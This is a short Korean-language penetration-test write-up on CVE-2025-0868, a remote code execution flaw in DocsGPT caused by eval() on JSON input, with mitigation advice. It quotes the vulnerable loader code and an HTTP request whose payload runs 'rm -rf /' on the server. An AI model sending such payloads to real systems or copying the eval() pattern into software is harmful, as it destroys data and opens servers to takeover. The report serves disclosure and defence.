
교육용 침투 테스트 보고서로, JSON 파싱에서 안전하지 않은 eval()을 통해 DocsGPT의 치명적인 RCE 취약점인 CVE-2025-0868의 악용을 시연하며, 완화 전략을 포함합니다.
2025년 2월 20일, 오픈소스 DocsGPT 라이브러리에서 JSON 페이로드를 파싱할 때 eval()을 안전하지 않게 사용하여 발생하는 심각한 원격 코드 실행(RCE) 취약점(CVE-2025-0868)이 공개되었습니다.
주요 세부 사항:
이 취약점은 공격자가 /api/remote 엔드포인트를 통해 임의의 Python 코드를 실행할 수 있도록 합니다. DocsGPT는 GPT 모델을 사용하여 프로젝트 문서를 질의할 수 있는 오픈소스 생성형 AI 도구입니다.
벡터: AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H
기본 점수: 9.3 (CRITICAL)
악용 가능성 지표:
영향 지표:
취약점은 reddit_loader.py에서 사용자 입력이 안전하지 않은 eval() 함수를 사용하여 처리되는 데 있습니다:
def load_data(self, inputs):
data = eval(inputs) # 취약한 코드
client_id = data.get("client_id")
client_secret = data.get("client_secret")
user_agent = data.get("user_agent")
이로 인해 공격자는 JSON 필드 내에 악성 Python 코드를 실행할 수 있습니다: POST /api/remote HTTP/1.1 Content-Type: application/json
{"data": "import('os').system('rm -rf /')"}
이 취약점을 악용하기 위해 취약한 환경과 안전한 작업 공간을 재현했습니다:
/api/remote 엔드포인트에 악성 페이로드를 전송하여 eval()의 안전하지 않은 사용을 악용하는 원격 코드 실행(RCE)을 수행하는 Python 스크립트를 개발했습니다.
/api/remote 엔드포인트의 RCE./api/remote에 악성 JSON 전송.POST /api/remote HTTP/1.1
Content-Type: application/json
{"data": "__import__('os').system('rm -rf /')"}
DocsGPT v0.12.1 이상 버전으로 업데이트
eval()을 json.loads()로 교체.
링크:https://github.com/arc53/DocsGPT/blob/df9d432d29c1bbdf28abb3d35d129060b1964dd3/applicatio n/parser/remote/reddit_loader.py#L9
| 분류 | 세부 사항 |
|---|
| CVE ID | CVE-2025-0868 |
| 영향받는 소프트웨어 | DocsGPT v0.8.1 – v0.12.0 |
| 취약점 유형 | 원격 코드 실행(RCE) |
| 공격 벡터 | 네트워크 기반 (/api/remote에 대한 HTTP 요청) |
| 근본 원인 | 신뢰할 수 없는 JSON 입력에 eval()을 안전하지 않게 사용 |
| 영향 | 전체 서버 손상 (임의 명령 실행) |
| CWE 매핑 | CWE-77: 명령에 사용되는 특수 요소의 부적절한 중성화 |